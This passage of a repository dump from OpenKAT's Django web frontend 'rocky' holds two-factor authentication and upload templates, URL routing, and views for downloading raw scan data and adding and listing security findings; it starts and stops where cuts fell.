authtentication.\n                        You can scan the QR code above or you can insert this key\n                        using the secret key option of the authenticator app.\n                    {% endblocktrans %}\n                </p>\n            </div>\n        </fieldset>\n    </form>\n    <form action=\"\" method=\"post\" class=\"help\">\n        {% csrf_token %}\n        {% include \"two_factor/_wizard_forms.html\" with step=wizard.steps.current %}\n\n        {# hidden submit button to enable [enter] key #}\n        <input type=\"submit\" value=\"\" class=\"d-none\" />\n        {% include \"two_factor/_wizard_actions.html\" with step=wizard.steps.current %}\n\n    </form>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/two_factor/core/setup_complete.html",
    "content": "{% extends \"two_factor/_base_focus.html\" %}\n\n{% load i18n %}\n\n{% block content %}\n    <h1>\n        {% block title %}\n            {% trans \"Enable Two-Factor Authentication\" %}\n        {% endblock title %}\n    </h1>\n    <p>{% trans \"Congratulations, you've successfully enabled two-factor authentication.\" %}</p>\n    {% if not phone_methods %}\n        <div class=\"button-container\">\n            <a href=\"{% url \"crisis_room\" %}\" class=\"button\">{% trans \"Start using OpenKAT\" %}</a>\n            <a href=\"{% url \"two_factor:profile\" %}\" class=\"button ghost\">{% trans \"Back to Account Security\" %}</a>\n        </div>\n    {% else %}\n        <p>\n            {% blocktrans trimmed %}\n                However, it might happen that you don't have access to\n                your primary token device. To enable account recovery, add a phone\n                number.\n            {% endblocktrans %}\n        </p>\n        <a href=\"{% url \"two_factor:profile\" %}\" class=\"button\">{% trans \"Back to Account Security\" %}</a>\n        <p>\n            <a href=\"{% url \"two_factor:phone_create\" %}\" class=\"button\">{% trans \"Add Phone Number\" %}</a>\n        </p>\n    {% endif %}\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/two_factor/profile/disable.html",
    "content": "{% extends \"two_factor/_base_focus.html\" %}\n\n{% load i18n %}\n\n{% block content %}\n    <h1>\n        {% block title %}\n            {% trans \"Disable Two-factor Authentication\" %}\n        {% endblock title %}\n    </h1>\n    <form method=\"post\">\n        {% csrf_token %}\n        <p>\n            {% blocktrans trimmed %}\n                You are about to disable two-factor authentication. This\n                weakens your account security, are you sure?\n            {% endblocktrans %}\n        </p>\n        {% include \"partials/form/fieldset.html\" with fields=form %}\n\n        <button class=\"button\" type=\"submit\">{% trans \"Disable\" %}</button>\n    </form>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/two_factor/profile/profile.html",
    "content": "{% extends \"two_factor/_base_focus.html\" %}\n\n{% load i18n %}\n\n{% block content %}\n    <h1>\n        {% block title %}\n            {% trans \"Account Security\" %}\n        {% endblock title %}\n    </h1>\n    {% if default_device %}\n        {% if default_device_type == \"TOTPDevice\" %}\n            <p>{% trans \"Tokens will be generated by your token generator.\" %}</p>\n        {% elif default_device_type == \"PhoneDevice\" %}\n            <p>\n                {% blocktrans with primary=default_device.generate_challenge_button_title %}Primary method: {{ primary }}{% endblocktrans %}\n            </p>\n        {% elif default_device_type == \"RemoteYubikeyDevice\" %}\n            <p>{% blocktrans %}Tokens will be generated by your YubiKey.{% endblocktrans %}</p>\n        {% endif %}\n        {% if available_phone_methods %}\n            <h2>{% trans \"Backup Phone Numbers\" %}</h2>\n            <p>\n                {% blocktrans trimmed %}\n                    If your primary method is not available, we are able to\n                    send backup tokens to the phone numbers listed below.\n                {% endblocktrans %}\n            </p>\n            <ul>\n                {% for phone in backup_phones %}\n                    <li>\n                        {{ phone.generate_challenge_button_title }}\n                        <form method=\"post\"\n                              action=\"{% url \"two_factor:phone_delete\" phone.id %}\"\n                              onsubmit=\"return confirm('Are you sure?')\">\n                            {% csrf_token %}\n                            <button type=\"submit\">{% trans \"Unregister\" %}</button>\n                        </form>\n                    </li>\n                {% endfor %}\n            </ul>\n            <p>\n                <a href=\"{% url \"two_factor:phone_create\" %}\" class=\"button\">{% trans \"Add Phone Number\" %}</a>\n            </p>\n        {% endif %}\n        <h2>{% trans \"Backup Tokens\" %}</h2>\n        <p>\n            {% blocktrans trimmed %}\n                If you don't have any device with you, you can access\n                your account using backup tokens.\n            {% endblocktrans %}\n            {% blocktrans trimmed count counter=backup_tokens %}\n                You have only one backup token remaining.\n            {% plural %}\n                You have {{ counter }} backup tokens remaining.\n            {% endblocktrans %}\n        </p>\n        <p>\n            <a href=\"{% url \"two_factor:backup_tokens\" %}\" class=\"button\">{% trans \"Show Codes\" %}</a>\n        </p>\n        <h3>{% trans \"Disable Two-Factor Authentication\" %}</h3>\n        <p>\n            {% blocktrans trimmed %}\n                However we strongly discourage you to do so, you can\n                also disable two-factor authentication for your account.\n            {% endblocktrans %}\n        </p>\n        <p>\n            <a class=\"button ghost\" href=\"{% url \"two_factor:disable\" %}\">{% trans \"Disable Two-Factor Authentication\" %}</a>\n        </p>\n    {% else %}\n        <p>\n            {% blocktrans trimmed %}\n                Two-factor authentication is not enabled for your\n                account. Enable two-factor authentication for enhanced account\n                security.\n            {% endblocktrans %}\n        </p>\n        <p>\n            <a href=\"{% url \"two_factor:setup\" %}\" class=\"button\">{% trans \"Enable Two-Factor Authentication\" %}</a>\n        </p>\n    {% endif %}\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/two_factor/twilio/sms_message.html",
    "content": "{% load i18n %}\n\n{% blocktrans trimmed %}\n    Your OTP token is {{ token }}\n{% endblocktrans %}\n"
  },
  {
    "path": "rocky/rocky/templates/upload_csv.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load static %}\n{% load i18n %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div class=\"layout-form\">\n                <h1>{% translate \"Upload CSV\" %}</h1>\n                <p>{% translate \"Automate the creation of multiple objects by uploading a CSV file.\" %}</p>\n                <p>{% translate \"These are the criteria for CSV upload:\" %}</p>\n                <ul>\n                    {% for criterion in criteria %}<li>{{ criterion }}</li>{% endfor %}\n                </ul>\n                <form novalidate method=\"post\" enctype=\"multipart/form-data\" class=\"help\">\n                    {% csrf_token %}\n                    {% include \"partials/form/fieldset.html\" with legend=fieldset_legend fields=form %}\n\n                    <button type=\"submit\">{% translate \"Upload CSV\" %}</button>\n                </form>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/upload_raw.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load static %}\n{% load i18n %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div class=\"layout-form\">\n                <h1>{% translate \"Upload raw file\" %}</h1>\n                <p>{% translate \"Automate the creation of multiple objects by uploading a raw file.\" %}</p>\n                <p>\n                    {% translate \"An input OOI can be selected for the normalizer to attach newly yielded OOIs to. If no input OOI was used for the raw file, a placeholder ExternalScan OOI can be used. ExternalScan OOIs can be created from the objects page. When a new version of the raw file is generated, the same ExternalScan OOI should be chosen to ensure that old results are overwritten.\" %}\n                </p>\n                <ul>\n                    {% for criterion in criteria %}<li>{{ criterion }}</li>{% endfor %}\n                </ul>\n                <form novalidate method=\"post\" enctype=\"multipart/form-data\" class=\"help\">\n                    {% csrf_token %}\n                    {% include \"partials/form/fieldset.html\" with legend=fieldset_legend fields=form %}\n\n                    <button type=\"submit\">{% translate \"Upload raw\" %}</button>\n                </form>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templatetags/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/rocky/templatetags/rocky.py",
    "content": "from django import template\n\nregister = template.Library()\n\n\n@register.filter\ndef is_multiple_hidden(field):\n    value = field.value()\n    return isinstance(value, list | tuple)\n"
  },
  {
    "path": "rocky/rocky/urls.py",
    "content": "from django.conf.urls.i18n import i18n_patterns\nfrom django.contrib import admin\nfrom django.urls import include, path\nfrom django.views.generic.base import TemplateView\nfrom reports.viewsets import ReportRecipeViewSet, ReportViewSet\nfrom rest_framework import routers\nfrom tools.viewsets import OrganizationViewSet\nfrom two_factor.urls import urlpatterns as tf_urls\n\nfrom rocky.views.bytes_raw import BytesRawView\nfrom rocky.views.finding_add import FindingAddView\nfrom rocky.views.finding_list import FindingListView\nfrom rocky.views.finding_type_add import FindingTypeAddView\nfrom rocky.views.health import Health, HealthChecks\nfrom rocky.views.indemnification_add import IndemnificationAddView\nfrom rocky.views.landing_page import LandingPageView\nfrom rocky.views.ooi_add import OOIAddTypeSelectView, OOIAddView\nfrom rocky.views.ooi_delete import OOIDeleteView\nfrom rocky.views.ooi_detail import OOIDetailView\nfrom rocky.views.ooi_detail_related_object import OOIRelatedObjectAddView\nfrom rocky.views.ooi_edit import OOIEditView\nfrom rocky.views.ooi_findings import OOIFindingListView\nfrom rocky.views.ooi_list import OOIListExportView, OOIListView\nfrom rocky.views.ooi_mute import MuteFindingsBulkView, MuteFindingView\nfrom rocky.views.ooi_tree import OOIGraphView, OOISummaryView, OOITreeView\nfrom rocky.views.organization_add import OrganizationAddView\nfrom rocky.views.organization_edit import OrganizationEditView\nfrom rocky.views.organization_list import OrganizationListView\nfrom rocky.views.organization_member_add import (\n    DownloadMembersTemplateView,\n    MembersUploadView,\n    OrganizationMemberAddAccountTypeView,\n    OrganizationMemberAddView,\n)\nfrom rocky.views.organization_member_edit import OrganizationMemberEditView\nfrom rocky.views.organization_member_list import OrganizationMemberListView\nfrom rocky.views.organization_settings import OrganizationSettingsView\nfrom rocky.views.privacy_statement import PrivacyStatementView\nfrom rocky.views.scan_profile import ScanProfileDetailView\nfrom rocky.views.scans import ScanListView\nfrom rocky.views.task_detail import BoefjeTaskDetailView, DownloadTaskDetail, NormalizerTaskJSONView\nfrom rocky.views.tasks import (\n    AllBoefjesTaskListView,\n    AllNormalizersTaskListView,\n    AllReportsTaskListView,\n    BoefjesTaskListView,\n    NormalizersTaskListView,\n    ReportsTaskListView,\n)\nfrom rocky.views.upload_csv import UploadCSV\nfrom rocky.views.upload_raw import UploadRaw\n\nhandler404 = \"rocky.views.handler404.handler404\"\nhandler403 = \"rocky.views.handler403.handler403\"\n\n\nrouter = routers.SimpleRouter()\nrouter.register(r\"organization\", OrganizationViewSet)\nrouter.register(r\"report\", ReportViewSet, basename=\"report\")\nrouter.register(r\"report-recipe\", ReportRecipeViewSet, basename=\"report-recipe\")\n\nurlpatterns = [\n    path(\"i18n/\", include(\"django.conf.urls.i18n\")),\n    path(\"api/v1/\", include(router.urls)),\n    path(\"<organization_code>/health/\", Health.as_view(), name=\"health\"),\n    path(\"\", include(tf_urls)),\n    path(\"robots.txt\", TemplateView.as_view(template_name=\"robots.txt\", content_type=\"text/plain\")),\n]\nurlpatterns += i18n_patterns(\n    path(\"\", include(\"account.urls\"), name=\"account\"),\n    path(\"admin/\", admin.site.urls),\n    path(\"\", LandingPageView.as_view(), name=\"landing_page\"),\n    path(\"onboarding/\", include(\"onboarding.urls\"), name=\"onboarding\"),\n    path(\"crisis-room/\", include(\"crisis_room.urls\"), name=\"crisis_room\"),\n    path(\"privacy-statement/\", PrivacyStatementView.as_view(), name=\"privacy_statement\"),\n    path(\"tasks/\", AllBoefjesTaskListView.as_view(), name=\"all_task_list\"),\n    path(\"tasks/boefjes\", AllBoefjesTaskListView.as_view(), name=\"all_boefjes_task_list\"),\n    path(\"tasks/normalizers\", AllNormalizersTaskListView.as_view(), name=\"all_normalizers_task_list\"),\n    path(\"tasks/reports\", AllReportsTaskListView.as_view(), name=\"all_reports_task_list\"),\n    path(\n        \"<organization_code>/settings/indemnifications/\", IndemnificationAddView.as_view(), name=\"indemnification_add\"\n    ),\n    path(\"<organization_code>/findings/\", FindingListView.as_view(), name=\"finding_list\"),\n    path(\"<organization_code>/findings/add/\", FindingAddView.as_view(), name=\"finding_add\"),\n    path(\"<organization_code>/findings/mute/\", MuteFindingView.as_view(), name=\"finding_mute\"),\n    path(\"<organization_code>/findings/mute/bulk/\", MuteFindingsBulkView.as_view(), name=\"finding_mute_bulk\"),\n    path(\"<organization_code>/findings/finding_type/add/\", FindingTypeAddView.as_view(), name=\"finding_type_add\"),\n    path(\"<organization_code>/objects/graph/\", OOIGraphView.as_view(), name=\"ooi_graph\"),\n    path(\"<organization_code>/objects/summary/\", OOISummaryView.as_view(), name=\"ooi_summary\"),\n    path(\"<organization_code>/objects/tree/\", OOITreeView.as_view(), name=\"ooi_tree\"),\n    path(\"<organization_code>/objects/findings/\", OOIFindingListView.as_view(), name=\"ooi_findings\"),\n    path(\"organizations/\", OrganizationListView.as_view(), name=\"organization_list\"),\n    path(\"organizations/add/\", OrganizationAddView.as_view(), name=\"organization_add\"),\n    path(\"<organization_code>/settings/edit/\", OrganizationEditView.as_view(), name=\"organization_edit\"),\n    path(\n        \"<organization_code>/members/add/\",\n        OrganizationMemberAddAccountTypeView.as_view(),\n        name=\"organization_member_add_account_type\",\n    ),\n    path(\n        \"<organization_code>/members/add/<account_type>/\",\n        OrganizationMemberAddView.as_view(),\n        name=\"organization_member_add\",\n    ),\n    path(\n        \"<organization_code>/members/upload/member_template\",\n        DownloadMembersTemplateView.as_view(),\n        name=\"download_organization_member_template\",\n    ),\n    path(\"<organization_code>/members/upload/\", MembersUploadView.as_view(), name=\"organization_member_upload\"),\n    path(\"<organization_code>/settings\", OrganizationSettingsView.as_view(), name=\"organization_settings\"),\n    path(\"<organization_code>/members\", OrganizationMemberListView.as_view(), name=\"organization_member_list\"),\n    path(\n        \"<organization_code>/members/edit/<int:pk>/\",\n        OrganizationMemberEditView.as_view(),\n        name=\"organization_member_edit\",\n    ),\n    path(\"<organization_code>/health/v1/\", HealthChecks.as_view(), name=\"health_beautified\"),\n    path(\"<organization_code>/objects/\", OOIListView.as_view(), name=\"ooi_list\"),\n    path(\"<organization_code>/objects/add/\", OOIAddTypeSelectView.as_view(), name=\"ooi_add_type_select\"),\n    path(\"<organization_code>/objects/add-related/\", OOIRelatedObjectAddView.as_view(), name=\"ooi_add_related\"),\n    path(\"<organization_code>/objects/add/<ooi_type>/\", OOIAddView.as_view(), name=\"ooi_add\"),\n    path(\"<organization_code>/objects/edit/\", OOIEditView.as_view(), name=\"ooi_edit\"),\n    path(\"<organization_code>/objects/delete/\", OOIDeleteView.as_view(), name=\"ooi_delete\"),\n    path(\"<organization_code>/objects/detail/\", OOIDetailView.as_view(), name=\"ooi_detail\"),\n    path(\"<organization_code>/objects/export\", OOIListExportView.as_view(), name=\"ooi_list_export\"),\n    path(\"<organization_code>/objects/scan-profile/\", ScanProfileDetailView.as_view(), name=\"scan_profile_detail\"),\n    path(\"<organization_code>/objects/scans/\", ScanListView.as_view(), name=\"scan_list\"),\n    path(\"<organization_code>/objects/upload/csv/\", UploadCSV.as_view(), name=\"upload_csv\"),\n    path(\"<organization_code>/objects/upload/raw/\", UploadRaw.as_view(), name=\"upload_raw\"),\n    path(\"<organization_code>/objects/upload/raw/<mime_type>\", UploadRaw.as_view(), name=\"upload_raw_typed\"),\n    path(\"<organization_code>/tasks/\", BoefjesTaskListView.as_view(), name=\"task_list\"),\n    path(\"<organization_code>/tasks/boefjes\", BoefjesTaskListView.as_view(), name=\"boefjes_task_list\"),\n    path(\"<organization_code>/tasks/boefjes/<task_id>\", BoefjeTaskDetailView.as_view(), name=\"boefje_task_view\"),\n    path(\"<organization_code>/tasks/normalizers\", NormalizersTaskListView.as_view(), name=\"normalizers_task_list\"),\n    path(\"<organization_code>/tasks/reports\", ReportsTaskListView.as_view(), name=\"reports_task_list\"),\n    path(\n        \"<organization_code>/tasks/normalizers/<task_id>\", NormalizerTaskJSONView.as_view(), name=\"normalizer_task_view\"\n    ),\n    path(\"<organization_code>/tasks/<task_id>/download/\", DownloadTaskDetail.as_view(), name=\"download_task_meta\"),\n    path(\"<organization_code>/bytes/<boefje_meta_id>/raw\", BytesRawView.as_view(), name=\"bytes_raw\"),\n    path(\"<organization_code>/kat-alogus/\", include(\"katalogus.urls\"), name=\"katalogus\"),\n    path(\"<organization_code>/reports/\", include(\"reports.urls\"), name=\"reports\"),\n)\n"
  },
  {
    "path": "rocky/rocky/version.py",
    "content": "from importlib.metadata import PackageNotFoundError, version\n\ntry:\n    __version__ = version(\"rocky\")\nexcept PackageNotFoundError:\n    # package is not installed\n    __version__ = \"0.0.1.dev1\"\n"
  },
  {
    "path": "rocky/rocky/views/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/rocky/views/bytes_raw.py",
    "content": "import base64\nimport json\nimport zipfile\nfrom http import HTTPStatus\nfrom io import BytesIO\n\nimport structlog\nfrom account.mixins import OrganizationView\nfrom django.contrib import messages\nfrom django.http import FileResponse, Http404, JsonResponse\nfrom django.shortcuts import redirect\nfrom django.urls import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom httpx import HTTPError\n\nlogger = structlog.get_logger(__name__)\n\nRAW_FILE_LIMIT = 1024 * 1024\n\n\nclass BytesRawView(OrganizationView):\n    def get(self, request, **kwargs):\n        boefje_meta_id = kwargs[\"boefje_meta_id\"]\n        try:\n            raw_metas = self.bytes_client.get_raw_metas(boefje_meta_id, self.organization.code)\n            is_json_format = request.GET.get(\"format\") == \"json\"\n            if is_json_format:\n                size_limit = int(request.GET.get(\"size_limit\", RAW_FILE_LIMIT))\n                for raw_meta in raw_metas:\n                    raw_meta[\"raw_file\"] = base64.b64encode(\n                        self.bytes_client.get_raw(raw_meta[\"id\"])[:size_limit]\n                    ).decode(\"ascii\")\n                return JsonResponse(raw_metas, safe=False)\n        except Http404:\n            msg = _(\"Getting raw data failed, No such meta.\")\n            logger.exception(\"Getting raw data failed, No such meta\")\n            messages.add_message(request, messages.ERROR, msg)\n\n            if request.GET.get(\"format\", False) != \"json\":\n                messages.add_message(request, messages.ERROR, msg)\n\n                return redirect(reverse(\"task_list\", kwargs={\"organization_code\": self.organization.code}))\n            return JsonResponse({\"error\": msg}, status=HTTPStatus.NOT_FOUND)\n        except HTTPError:\n            msg = _(\"Getting raw data failed.\")\n            logger.exception(\"Getting raw data failed\")\n            messages.add_message(request, messages.ERROR, msg)\n            return redirect(reverse(\"task_list\", kwargs={\"organization_code\": self.organization.code}))\n\n        if not raw_metas:\n            msg = _(\"The task does not have any raw data.\")\n            messages.add_message(request, messages.ERROR, msg)\n            return redirect(reverse(\"task_list\", kwargs={\"organization_code\": self.organization.code}))\n\n        raws = {raw_meta[\"id\"]: self.bytes_client.get_raw(raw_meta[\"id\"]) for raw_meta in raw_metas}\n        response = FileResponse(zip_data(raws, raw_metas), filename=f\"{boefje_meta_id}.zip\")\n        logger.info(\"Raw files have been downloaded\", boefje_meta_id=boefje_meta_id, event_code=\"700001\")\n\n        return response\n\n\ndef zip_data(raws: dict[str, bytes], raw_metas: list[dict]) -> BytesIO:\n    zf_buffer = BytesIO()\n\n    with zipfile.ZipFile(zf_buffer, \"w\", zipfile.ZIP_DEFLATED) as zf:\n        for raw_meta in raw_metas:\n            zf.writestr(raw_meta[\"id\"], raws[raw_meta[\"id\"]])\n            zf.writestr(f\"raw_meta_{raw_meta['id']}.json\", json.dumps(raw_meta))\n\n    zf_buffer.seek(0)\n\n    return zf_buffer\n"
  },
  {
    "path": "rocky/rocky/views/clients.py",
    "content": ""
  },
  {
    "path": "rocky/rocky/views/finding_add.py",
    "content": "from datetime import datetime, timezone\nfrom uuid import uuid4\n\nfrom django.forms import Form\nfrom django.shortcuts import redirect\nfrom django.urls.base import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom tools.forms.finding_type import FindingAddForm\nfrom tools.view_helpers import get_ooi_url\n\nfrom octopoes.api.models import Declaration\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import (\n    CAPECFindingType,\n    CVEFindingType,\n    CWEFindingType,\n    Finding,\n    FindingType,\n    KATFindingType,\n    RetireJSFindingType,\n    SnykFindingType,\n)\nfrom octopoes.models.types import OOI_TYPES\nfrom rocky.bytes_client import BytesClient\nfrom rocky.views.ooi_view import BaseOOIFormView\n\nFINDING_TYPES_PREFIXES = {\n    \"CVE\": CVEFindingType,\n    \"SNYK\": SnykFindingType,\n    \"CWE\": CWEFindingType,\n    \"CAPEC\": CAPECFindingType,\n    \"RetireJS\": RetireJSFindingType,\n    \"KAT\": KATFindingType,\n}\n\n\ndef get_finding_type_from_id(finding_type_id: str) -> FindingType:\n    finding_type_id = finding_type_id.upper()\n\n    prefix = finding_type_id.upper().split(\"-\")[0]\n    if prefix in FINDING_TYPES_PREFIXES:\n        return FINDING_TYPES_PREFIXES[prefix](id=finding_type_id)\n    else:\n        raise ValueError(\"Invalid finding type prefix\")\n\n\nclass FindingAddView(BaseOOIFormView):\n    template_name = \"findings/finding_add.html\"\n    form_class = FindingAddForm\n\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n        self.initial = {\"ooi_id\": request.GET.get(\"ooi_id\")}\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"finding_list\", kwargs={\"organization_code\": self.organization.code}), \"text\": \"Findings\"},\n            {\n                \"url\": reverse(\"finding_add\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"Add finding\"),\n            },\n        ]\n\n        return context\n\n    def get_form_kwargs(self):\n        kwargs = {\"connector\": self.octopoes_api_connector, \"ooi_list\": self.get_ooi_options()}\n        kwargs.update(super().get_form_kwargs())\n\n        if \"ooi_class\" in kwargs:\n            del kwargs[\"ooi_class\"]\n\n        return kwargs\n\n    def get_form(self, form_class: type[Form] | None = None) -> FindingAddForm:\n        if form_class is None:\n            form_class = self.get_form_class()\n\n        return form_class(**self.get_form_kwargs())\n\n    def form_valid(self, form):\n        form_data = form.cleaned_data\n\n        ooi_id = form_data[\"ooi_id\"]\n\n        s: str = form_data[\"finding_type_ids\"]\n        finding_type_ids = s.replace(\",\", \"\\n\").splitlines()\n        finding_type_ids = [\n            x.strip()\n            for x in finding_type_ids\n            if x.strip().startswith((\"KAT-\", \"CVE-\", \"CWE-\", \"CAPEC-\", \"RetireJS-\", \"SNYK-\"))\n        ]\n\n        observed_at = datetime.combine(form_data.get(\"date\"), datetime.min.time(), tzinfo=timezone.utc)\n\n        # Create finding for each finding type\n        ooi_ref = Reference.from_str(ooi_id)\n\n        proof = []  # Collect as much data as possible in a single proof\n\n        task_id = uuid4()\n        for f_id in finding_type_ids:\n            finding_type = get_finding_type_from_id(f_id)\n            finding = Finding(\n                ooi=ooi_ref,\n                finding_type=finding_type.reference,\n                proof=form_data.get(\"proof\"),\n                description=form_data.get(\"description\"),\n                reproduce=form_data.get(\"reproduce\"),\n            )\n            proof.append(Declaration(ooi=finding, valid_time=observed_at, task_id=str(task_id)))\n            proof.append(Declaration(ooi=finding_type, valid_time=observed_at, task_id=str(task_id)))\n\n        self.bytes_client.add_manual_proof(task_id, BytesClient.raw_from_declarations(proof))\n\n        self.octopoes_api_connector.save_many_declarations(proof, sync=True)\n\n        return redirect(get_ooi_url(\"ooi_detail\", ooi_id, self.organization.code))\n\n    def get_ooi_options(self) -> list[tuple[str, str]]:\n        # Query to render form options\n        ooi_set = set(OOI_TYPES.values()).difference({Finding, FindingType})\n        objects = self.octopoes_api_connector.list_objects(ooi_set, valid_time=datetime.now(timezone.utc)).items\n\n        # generate options\n        options = [(o.primary_key, o.get_ooi_type()) for o in objects]\n\n        return options\n"
  },
  {
    "path": "rocky/rocky/views/finding_list.py",
    "content": "from collections.abc import Iterable\nfrom enum import Enum\nfrom typing import Any, Literal\n\nimport structlog\nfrom crisis_room.forms import AddFindingListDashboardItemForm\nfrom django.contrib import messages\nfrom django.http import HttpRequest, HttpResponse\nfrom django.urls.base import reverse_lazy\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import ListView\nfrom tools.forms.findings import (\n    FindingSearchForm,\n    FindingSeverityMultiSelectForm,\n    MutedFindingSelectionForm,\n    OrderByFindingTypeForm,\n    OrderBySeverityForm,\n)\nfrom tools.view_helpers import Breadcrumb, BreadcrumbsMixin\n\nfrom octopoes.models.ooi.findings import RiskLevelSeverity\nfrom rocky.paginator import RockyPaginator\nfrom rocky.views.mixins import (\n    FINDING_LIST_COLUMNS,\n    AddDashboardItemFormMixin,\n    FindingList,\n    OctopoesView,\n    SeveritiesMixin,\n)\n\nlogger = structlog.get_logger(__name__)\n\n\ndef sort_by_severity_desc(findings: Iterable) -> list[dict[str, Any]]:\n    # Sorting is stable (when multiple records have the same key, their original\n    # order is preserved) so if we first sort by finding id the findings with\n    # the same risk score will be sorted by finding id\n    sorted_by_finding_id = sorted(findings, key=lambda x: x[\"finding_type\"].id)\n    sorted_findings = sorted(sorted_by_finding_id, key=lambda x: x[\"risk_level_score\"], reverse=True)\n    for index, finding in enumerate(sorted_findings, start=1):\n        finding[\"finding_number\"] = index\n    return sorted_findings\n\n\ndef generate_findings_metadata(\n    findings: FindingList, severity_filter: Iterable[RiskLevelSeverity] | None = None\n) -> list[dict[str, Any]]:\n    findings_meta = []\n\n    for finding in findings[: FindingList.HARD_LIMIT]:\n        finding_type = finding.finding_type\n\n        if not severity_filter or (finding_type.risk_severity and finding_type.risk_severity in severity_filter):\n            findings_meta.append(\n                {\n                    \"finding_number\": 0,\n                    \"finding\": finding,\n                    \"finding_type\": finding_type,\n                    \"severity\": finding_type.risk_severity.name if finding_type.risk_severity else \"\",\n                    \"risk_level_score\": finding_type.risk_score,\n                }\n            )\n\n    return sort_by_severity_desc(findings_meta)\n\n\nclass PageActions(Enum):\n    ADD_TO_DASHBOARD = \"add_to_dashboard\"\n\n\nclass FindingListFilter(OctopoesView, SeveritiesMixin, ListView):\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n        self.severities = self.get_severities()\n        self.muted_findings = request.GET.get(\"muted_findings\", \"non-muted\")\n\n        self.exclude_muted = self.muted_findings == \"non-muted\"\n        self.only_muted = self.muted_findings == \"muted\"\n\n        self.search_string = request.GET.get(\"search\", \"\")\n\n    @property\n    def count_active_filters(self):\n        return (\n            len(self.severities)\n            + (1 if self.muted_findings else 0)\n            + self.count_observed_at_filter()\n            + (1 if self.search_string else 0)\n        )\n\n    def get_queryset(self) -> FindingList:\n        return FindingList(self.octopoes_api_connector, **self.get_queryset_params())\n\n    def get_queryset_params(self):\n        return {\n            \"valid_time\": self.observed_at,\n            \"severities\": self.severities,\n            \"exclude_muted\": self.exclude_muted,\n            \"only_muted\": self.only_muted,\n            \"search_string\": self.search_string,\n            \"order_by\": self.order_by,\n            \"asc_desc\": self.sorting_order,\n        }\n\n    @property\n    def order_by(self) -> Literal[\"score\", \"finding_type\"]:\n        return \"finding_type\" if self.request.GET.get(\"order_by\", \"\") == \"finding_type\" else \"score\"\n\n    @property\n    def sorting_order(self) -> Literal[\"asc\", \"desc\"]:\n        return \"asc\" if self.request.GET.get(\"sorting_order\", \"\") == \"asc\" else \"desc\"\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"severity_filter\"] = FindingSeverityMultiSelectForm(self.request.GET)\n        context[\"muted_findings_filter\"] = MutedFindingSelectionForm(self.request.GET)\n        context[\"table_columns\"] = FINDING_LIST_COLUMNS\n        context[\"finding_search_form\"] = FindingSearchForm(self.request.GET)\n        context[\"active_filters_counter\"] = self.count_active_filters\n        context[\"order_by\"] = self.order_by\n        context[\"order_by_severity_form\"] = OrderBySeverityForm(self.request.GET)\n        context[\"order_by_finding_type_form\"] = OrderByFindingTypeForm(self.request.GET)\n        context[\"sorting_order\"] = self.sorting_order\n        context[\"sorting_order_class\"] = \"ascending\" if self.sorting_order == \"asc\" else \"descending\"\n        context[\"severities\"] = self.severities\n        context[\"exclude_muted\"] = self.exclude_muted\n        context[\"only_muted\"] = self.only_muted\n        context[\"search_string\"] = self.search_string\n        return context\n\n\nclass FindingListView(BreadcrumbsMixin, FindingListFilter, AddDashboardItemFormMixin):\n    template_name = \"findings/finding_list.html\"\n    paginate_by = 150\n    add_dashboard_item_form = AddFindingListDashboardItemForm\n    paginator_class = RockyPaginator\n\n    def build_breadcrumbs(self) -> list[Breadcrumb]:\n        return [\n            {\n                \"url\": reverse_lazy(\"finding_list\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"Findings\"),\n            }\n        ]\n\n    def post(self, request: HttpRequest, *args: Any, **kwargs: Any) -> HttpResponse:\n        \"\"\"Perform bulk action on selected oois.\"\"\"\n        action = request.POST.get(\"action\")\n\n        if action == PageActions.ADD_TO_DASHBOARD.value:\n            return self.add_to_dashboard()\n\n        messages.add_message(request, messages.ERROR, _(\"Unknown action.\"))\n        return self.get(request, status=404, *args, **kwargs)\n"
  },
  {
    "path": "rocky/rocky/views/finding_type_add.py",
    "content": "from datetime import datetime, timezone\nfrom uuid import uuid4\n\nfrom account.mixins import OrganizationView\nfrom django.shortcuts import redirect\nfrom django.urls.base import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import FormView\nfrom tools.forms.finding_type import FindingTypeAddForm\nfrom tools.models import OOIInformation\nfrom tools.view_helpers import get_ooi_url\n\nfrom octopoes.api.models import Declaration\nfrom octopoes.models.ooi.findings import KATFindingType\nfrom rocky.bytes_client import BytesClient\n\n\nclass FindingTypeAddView(OrganizationView, FormView):\n    template_name = \"finding_type_add.html\"\n    form_class = FindingTypeAddForm\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n\n        context[\"breadcrumbs\"] = [\n            {\n                \"url\": reverse(\"finding_list\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"Findings\"),\n            },\n            {\n                \"url\": reverse(\"finding_type_add\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"Add finding type\"),\n            },\n        ]\n\n        return context\n\n    def form_valid(self, form):\n        self.api_connector = self.octopoes_api_connector\n        form_data = form.cleaned_data\n        # set data\n        finding_type = 